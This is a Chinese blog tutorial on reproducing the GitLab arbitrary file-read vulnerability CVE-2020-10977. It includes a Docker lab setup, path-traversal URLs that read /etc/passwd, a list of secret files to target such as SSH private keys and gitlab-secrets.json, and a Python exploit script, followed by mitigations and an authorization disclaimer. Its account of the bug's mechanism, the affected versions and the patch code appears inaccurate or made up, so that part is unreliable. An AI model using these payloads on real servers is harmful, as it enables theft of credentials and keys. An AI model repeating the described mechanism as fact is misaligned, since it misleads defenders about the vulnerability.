GitLab任意文件读取漏洞CVE-2020-10977如何进行复现

发布时间:2021-12-28 17:57:38 作者:柒染
来源:亿速云 阅读:516
# GitLab任意文件读取漏洞CVE-2020-10977如何进行复现

## 漏洞概述

CVE-2020-10977是GitLab社区版(CE)和企业版(EE)中的一个高危任意文件读取漏洞,影响版本范围为**11.3及以上至12.9.1以下**。攻击者通过构造特殊请求,可绕过权限验证读取服务器上的任意文件,包括敏感配置文件、密钥等。

## 漏洞原理

该漏洞源于GitLab对用户提供的`filename`参数验证不严,当用户通过`/uploads`路由访问上传文件时,系统未正确校验路径穿越符号(`../`),导致目录遍历攻击:

https://gitlab.example.com/uploads/group/project/../../../../etc/passwd


## 环境准备

### 受影响版本
- GitLab CE/EE 11.3 - 12.9.0

### 测试环境搭建
推荐使用Docker快速搭建漏洞环境:

```bash
# 拉取存在漏洞的GitLab版本
docker pull gitlab/gitlab-ce:12.8.1-ce.0

# 运行容器(注意配置端口和数据卷)
docker run -d \
  --hostname gitlab.example.com \
  -p 443:443 -p 80:80 -p 2222:22 \
  --name gitlab \
  --restart always \
  -v /srv/gitlab/config:/etc/gitlab \
  -v /srv/gitlab/logs:/var/log/gitlab \
  -v /srv/gitlab/data:/var/opt/gitlab \
  gitlab/gitlab-ce:12.8.1-ce.0

复现步骤

步骤1:验证GitLab版本

访问/help页面确认版本号:

http://目标IP/help

步骤2:创建测试项目

  1. 注册/登录账户
  2. 新建一个项目(如test-project
  3. 上传任意文件(如test.txt

步骤3:构造恶意请求

通过Burp Suite或浏览器直接访问以下URL(需替换实际参数):

http://目标IP/uploads/[group]/[project]/../../../../../../etc/passwd

参数说明: - [group]: 项目所属组名 - [project]: 项目名称

示例(假设组名为mygroup,项目名为test-project):

http://192.168.1.100/uploads/mygroup/test-project/../../../../../../etc/passwd

步骤4:验证读取结果

成功响应将显示/etc/passwd文件内容:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

敏感文件示例

可尝试读取的其他敏感文件:

文件路径 说明
/etc/gitlab/gitlab-secrets.json 包含加密密钥
/var/opt/gitlab/gitlab-rails/etc/database.yml 数据库配置
/root/.ssh/id_rsa 服务器SSH私钥
/proc/self/environ 环境变量信息

自动化利用脚本

使用Python快速验证漏洞:

import requests
import urllib.parse

TARGET = "http://gitlab.example.com"
GROUP = "mygroup"
PROJECT = "test-project"
FILE_TO_READ = "/etc/passwd"

def exploit():
    path = f"/uploads/{GROUP}/{PROJECT}/../../../../../../{FILE_TO_READ}"
    url = urllib.parse.urljoin(TARGET, path)
    
    response = requests.get(url)
    if response.status_code == 200:
        print(f"[+] 成功读取 {FILE_TO_READ}:")
        print(response.text)
    else:
        print(f"[-] 读取失败 (HTTP {response.status_code})")

if __name__ == "__main__":
    exploit()

防御措施

临时解决方案

  1. 升级到已修复版本:
    • GitLab CE/EE 12.9.1+
    • GitLab CE/EE 12.8.8+
    • GitLab CE/EE 12.7.8+
  2. 添加Web应用防火墙(WAF)规则,拦截包含../的请求

长期建议

漏洞分析

补丁对比

GitLab通过以下修改修复漏洞: 1. 在app/controllers/uploads_controller.rb中添加路径规范化检查 2. 使用Gitlab::PathTraversal.check_path_traversal!方法验证路径

关键修复代码片段:

def validate_upload_path!
  Gitlab::PathTraversal.check_path_traversal!(file.path)
end

时间线

法律与道德声明

  1. 本复现方法仅限授权测试使用
  2. 未经授权扫描或攻击他人系统属于违法行为
  3. 测试前务必获得目标系统的书面授权

参考链接

”`

注:实际复现时请确保在授权环境下进行,文中的IP、域名等需替换为实际测试目标。建议使用虚拟机或隔离网络环境进行实验。

推荐阅读:
  1. 利用Vulnhub复现漏洞 - Couchdb 任意命令执行
  2. 如何进行thinkphp6 任意文件创建漏洞复现

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

gitlab cve-2020-10977

上一篇:nexus操作系统命令注入漏洞CVE-2019-5475的复现是怎样的

下一篇:Apache DolphinScheduler高危漏洞CVE-2020-11974及CVE-2020-13922的实例分析

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》